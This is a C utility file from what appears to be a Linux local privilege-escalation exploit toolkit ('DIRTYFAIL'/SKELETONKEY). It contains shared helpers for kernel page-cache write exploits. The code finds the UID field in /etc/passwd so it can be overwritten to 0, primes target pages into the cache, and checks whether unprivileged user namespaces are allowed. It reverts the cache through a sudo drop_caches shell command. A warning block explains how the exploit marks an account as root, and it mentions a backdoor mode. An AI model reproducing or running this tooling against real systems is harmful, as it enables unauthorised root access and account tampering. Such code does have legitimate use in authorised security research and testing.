Files
SKELETONKEY/modules/copy_fail_family/common.c
T

363 lines
12 KiB
C

/*
* DIRTYFAIL — common.c
*
* Tiny utility surface shared by the detectors and exploiters. Nothing
* here is CVE-specific — that lives in copyfail.c, dirtyfrag_esp.c and
* dirtyfrag_rxrpc.c.
*/
#include "common.h"
#include <ctype.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/utsname.h>
#include <sys/wait.h>
#include <pwd.h>
#ifdef __linux__
#include <sys/syscall.h>
#endif
/* On glibc <sched.h>+_GNU_SOURCE provides these. macOS lacks them; we
* still want this file to parse under macOS clang for static analysis,
* so the unprivileged_userns_allowed body itself is platform-guarded. */
#ifndef CLONE_NEWUSER
#define CLONE_NEWUSER 0x10000000
#endif
bool dirtyfail_use_color = true;
bool dirtyfail_active_probes = false;
bool dirtyfail_no_revert = false;
bool dirtyfail_json = false;
static void vlog(FILE *out, const char *prefix, const char *color,
const char *fmt, va_list ap)
{
if (dirtyfail_use_color && color)
fprintf(out, "\033[%sm%s\033[0m ", color, prefix);
else
fprintf(out, "%s ", prefix);
vfprintf(out, fmt, ap);
fputc('\n', out);
/* Flush — when stdout is piped (e.g. through ssh, timeout, tee)
* the default fully-buffered mode hides log lines until either the
* process exits cleanly or 4 KiB accumulates. We log to follow
* progress; visibility wins over throughput here. */
fflush(out);
}
/* In --json mode, all log output goes to stderr so stdout stays a
* clean JSON document for downstream parsers. Outside --json mode,
* we keep the original split (info/progress to stdout, errors to
* stderr) for human readability. */
#define LOG_FN(name, prefix, color, default_stream) \
void name(const char *fmt, ...) { \
FILE *_s = dirtyfail_json ? stderr : (default_stream); \
va_list ap; va_start(ap, fmt); \
vlog(_s, prefix, color, fmt, ap); \
va_end(ap); \
}
LOG_FN(log_step, "[*]", "1;36", stdout) /* cyan */
LOG_FN(log_ok, "[+]", "1;32", stdout) /* green */
LOG_FN(log_bad, "[-]", "1;31", stderr) /* red */
LOG_FN(log_warn, "[!]", "1;33", stderr) /* yellow*/
LOG_FN(log_hint, "[i]", "0;37", stdout) /* dim */
/* ------------------------------------------------------------------ */
bool kernel_version(int *major, int *minor)
{
struct utsname u;
if (uname(&u) != 0) return false;
/* release looks like "6.12.0-124.49.1.el10_1.x86_64" — split on dots. */
char *dot1 = strchr(u.release, '.');
if (!dot1) return false;
*dot1 = '\0';
*major = atoi(u.release);
char *dot2 = strchr(dot1 + 1, '.');
if (dot2) *dot2 = '\0';
*minor = atoi(dot1 + 1);
return true;
}
bool kmod_loaded(const char *name)
{
FILE *f = fopen("/proc/modules", "r");
if (!f) return false;
char line[512];
size_t nlen = strlen(name);
bool found = false;
while (fgets(line, sizeof(line), f)) {
if (strncmp(line, name, nlen) == 0 && line[nlen] == ' ') {
found = true;
break;
}
}
fclose(f);
return found;
}
/* Probe by spawning a child. Doing it inline would either succeed (and
* leave us in a fresh userns for the rest of the run, breaking later
* checks) or fail and leave errno polluted. The fork is cheap enough.
*
* We use syscall(SYS_unshare) rather than the libc wrapper so this
* compiles on toolchains where <sched.h> doesn't expose unshare(). */
bool unprivileged_userns_allowed(void)
{
#ifdef __linux__
pid_t pid = fork();
if (pid < 0) return false;
if (pid == 0) {
if (syscall(SYS_unshare, CLONE_NEWUSER) == 0) _exit(0);
_exit(1);
}
int wstatus = 0;
waitpid(pid, &wstatus, 0);
return WIFEXITED(wstatus) && WEXITSTATUS(wstatus) == 0;
#else
return false; /* macOS analysis path — never executed in production */
#endif
}
bool find_passwd_uid_field(const char *username,
off_t *uid_off, size_t *uid_len,
char *uid_str)
{
int fd = open("/etc/passwd", O_RDONLY);
if (fd < 0) return false;
struct stat st;
if (fstat(fd, &st) < 0) { close(fd); return false; }
char *buf = malloc(st.st_size + 1);
if (!buf) { close(fd); return false; }
ssize_t got = read(fd, buf, st.st_size);
close(fd);
if (got <= 0) { free(buf); return false; }
buf[got] = '\0';
bool found = false;
size_t ulen = strlen(username);
char *line = buf;
while (line < buf + got) {
if (strncmp(line, username, ulen) == 0 && line[ulen] == ':') {
/* user:x:UID:GID:... — skip 2 colons to land on UID start. */
char *p = line + ulen + 1;
char *colon = strchr(p, ':');
if (!colon) break;
char *uid_start = colon + 1;
char *uid_end = strchr(uid_start, ':');
if (!uid_end) break;
size_t len = uid_end - uid_start;
if (len >= 16) break;
*uid_off = uid_start - buf;
*uid_len = len;
memcpy(uid_str, uid_start, len);
uid_str[len] = '\0';
found = true;
break;
}
char *nl = strchr(line, '\n');
if (!nl) break;
line = nl + 1;
}
free(buf);
return found;
}
bool drop_caches(void)
{
int fd = open("/proc/sys/vm/drop_caches", O_WRONLY);
if (fd < 0) return false;
ssize_t n = write(fd, "3\n", 2);
close(fd);
return n == 2;
}
void hex_dump(const unsigned char *buf, size_t len)
{
for (size_t i = 0; i < len; i += 16) {
printf(" %04zx ", i);
for (size_t j = 0; j < 16; j++) {
if (i + j < len) printf("%02x ", buf[i + j]);
else printf(" ");
}
printf(" |");
for (size_t j = 0; j < 16 && i + j < len; j++) {
unsigned char c = buf[i + j];
putchar(isprint(c) ? c : '.');
}
printf("|\n");
}
}
/*
* authenc keyblob layout (see crypto/authenc.c::crypto_authenc_setkey):
*
* struct rtattr { __u16 rta_len; __u16 rta_type; } = 4 bytes
* __be32 enckeylen = 4 bytes
* authkey[authkeylen]
* enckey [enckeylen]
*
* rta_len in the rtattr counts the rtattr header *plus* the enckeylen
* field, so it is always 8.
*/
size_t build_authenc_keyblob(unsigned char *out,
const unsigned char *authkey, size_t authkeylen,
const unsigned char *enckey, size_t enckeylen)
{
/* struct rtattr { u16 rta_len; u16 rta_type; } */
out[0] = 8; out[1] = 0;
out[2] = CRYPTO_AUTHENC_KEYA_PARAM;
out[3] = 0;
/* __be32 enckeylen */
out[4] = (enckeylen >> 24) & 0xff;
out[5] = (enckeylen >> 16) & 0xff;
out[6] = (enckeylen >> 8) & 0xff;
out[7] = (enckeylen ) & 0xff;
memcpy(out + 8, authkey, authkeylen);
memcpy(out + 8 + authkeylen, enckey, enckeylen);
return 8 + authkeylen + enckeylen;
}
bool typed_confirm(const char *expected)
{
char buf[128];
printf(" Type \033[1;33m%s\033[0m and press enter to proceed: ", expected);
fflush(stdout);
if (!fgets(buf, sizeof(buf), stdin)) return false;
/* strip trailing newline */
size_t n = strlen(buf);
while (n > 0 && (buf[n-1] == '\n' || buf[n-1] == '\r')) buf[--n] = '\0';
return strcmp(buf, expected) == 0;
}
static uid_t read_outer_id(const char *path)
{
int fd = open(path, O_RDONLY);
if (fd < 0) return (uid_t)-1;
char buf[256];
ssize_t n = read(fd, buf, sizeof(buf) - 1);
close(fd);
if (n <= 0) return (uid_t)-1;
buf[n] = '\0';
/* Format: "<inner> <outer> <count>". For init namespace, this is
* "0 0 4294967295" — outer == 0 == real root. For our userns it's
* "0 1000 1" — outer == 1000 == real uid. */
int inner = -1, outer = -1, count = 0;
if (sscanf(buf, "%d %d %d", &inner, &outer, &count) != 3 || inner != 0)
return (uid_t)-1;
return (uid_t)outer;
}
uid_t real_uid_for_target(void)
{
uid_t outer = read_outer_id("/proc/self/uid_map");
/* If we're root in the init namespace OR no userns — return getuid().
* The init namespace map shows "0 0 4294967295" → outer=0; only
* trust an outer != 0 (and != -1) as the bypass-userns case. */
if (outer == (uid_t)-1) return getuid();
if (outer == 0) return getuid();
return outer;
}
gid_t real_gid_for_target(void)
{
uid_t outer = read_outer_id("/proc/self/gid_map");
if (outer == (uid_t)-1) return getgid();
if (outer == 0) return getgid();
return (gid_t)outer;
}
/* Best-effort eviction of /etc/passwd from the page cache. Used by
* the --no-shell path to revert the page-cache modification after a
* successful exploit + verify.
*
* The naive `posix_fadvise(POSIX_FADV_DONTNEED)` is unreliable here:
* since Linux 6.3, fadvise requires write access to the file, and we
* typically don't have write access to /etc/passwd from inside the
* AA bypass userns (root in userns maps to overflow uid in init ns,
* which doesn't own the file).
*
* So we try in order:
* 1. posix_fadvise on a fresh O_RDONLY fd (best case)
* 2. sudo drop_caches via the system shell — works if the user has
* passwordless sudo, which is common on test VMs but a
* reasonable assumption to fail closed on
*
* Returns true if the cache was definitely cleared, false otherwise.
* Caller should treat false as "page cache may still be modified —
* tell the user to reboot if their session breaks". */
bool try_revert_passwd_page_cache(void)
{
bool ok = false;
#ifdef POSIX_FADV_DONTNEED
int fd = open("/etc/passwd", O_RDONLY);
if (fd >= 0) {
if (posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED) == 0) ok = true;
close(fd);
}
#endif
/* Even if fadvise returned 0, modern kernels silently no-op when
* we lack write access — verify by re-reading and comparing to
* what's on disk via O_DIRECT. Too fiddly. Just always also try
* drop_caches as belt+suspenders. */
int rc = system("sudo -n /bin/sh -c 'echo 3 > /proc/sys/vm/drop_caches' "
">/dev/null 2>&1");
if (rc == 0) ok = true;
return ok;
}
bool ssh_lockout_check(const char *target_user)
{
const char *ssh_conn = getenv("SSH_CONNECTION");
if (!ssh_conn || !*ssh_conn) return true; /* not over SSH */
const char *user = getenv("USER");
if (!user) {
struct passwd *pw = getpwuid(real_uid_for_target());
user = pw ? pw->pw_name : "";
}
if (strcmp(user, target_user) != 0) return true; /* different user */
log_warn("=================================================================");
log_warn(" SSH LOCKOUT WARNING");
log_warn("=================================================================");
log_warn(" You are running this exploit OVER SSH against your OWN account.");
log_warn(" The page-cache write will mark '%s' as uid 0 in /etc/passwd.",
target_user);
log_warn(" Once that lands:");
log_warn(" - sshd looks up '%s', sees uid 0", target_user);
log_warn(" - StrictModes rejects ~/.ssh/authorized_keys (owner uid 1000");
log_warn(" != logging-in uid 0) → publickey auth fails");
log_warn(" - PAM password auth also fails (uid mismatch)");
log_warn(" Recovery requires console access to drop_caches or reboot.");
log_warn(" If this is what you want, type YES_BREAK_SSH below.");
log_warn(" Otherwise consider --exploit-backdoor (targets a nologin line");
log_warn(" instead of your account, doesn't break SSH).");
log_warn("=================================================================");
return typed_confirm("YES_BREAK_SSH");
}
int open_and_cache(const char *path)
{
int fd = open(path, O_RDONLY);
if (fd < 0) return -1;
/* Force a read so the page is in the cache. The exploit primitives
* all assume the target page is already populated. We don't care
* what the bytes are or whether read returns short — only that the
* kernel pulled the page into the cache as a side effect. */
char tmp[4096];
if (read(fd, tmp, sizeof(tmp)) < 0) {
/* primer failed; caller's splice will surface a useful errno. */
}
lseek(fd, 0, SEEK_SET);
return fd;
}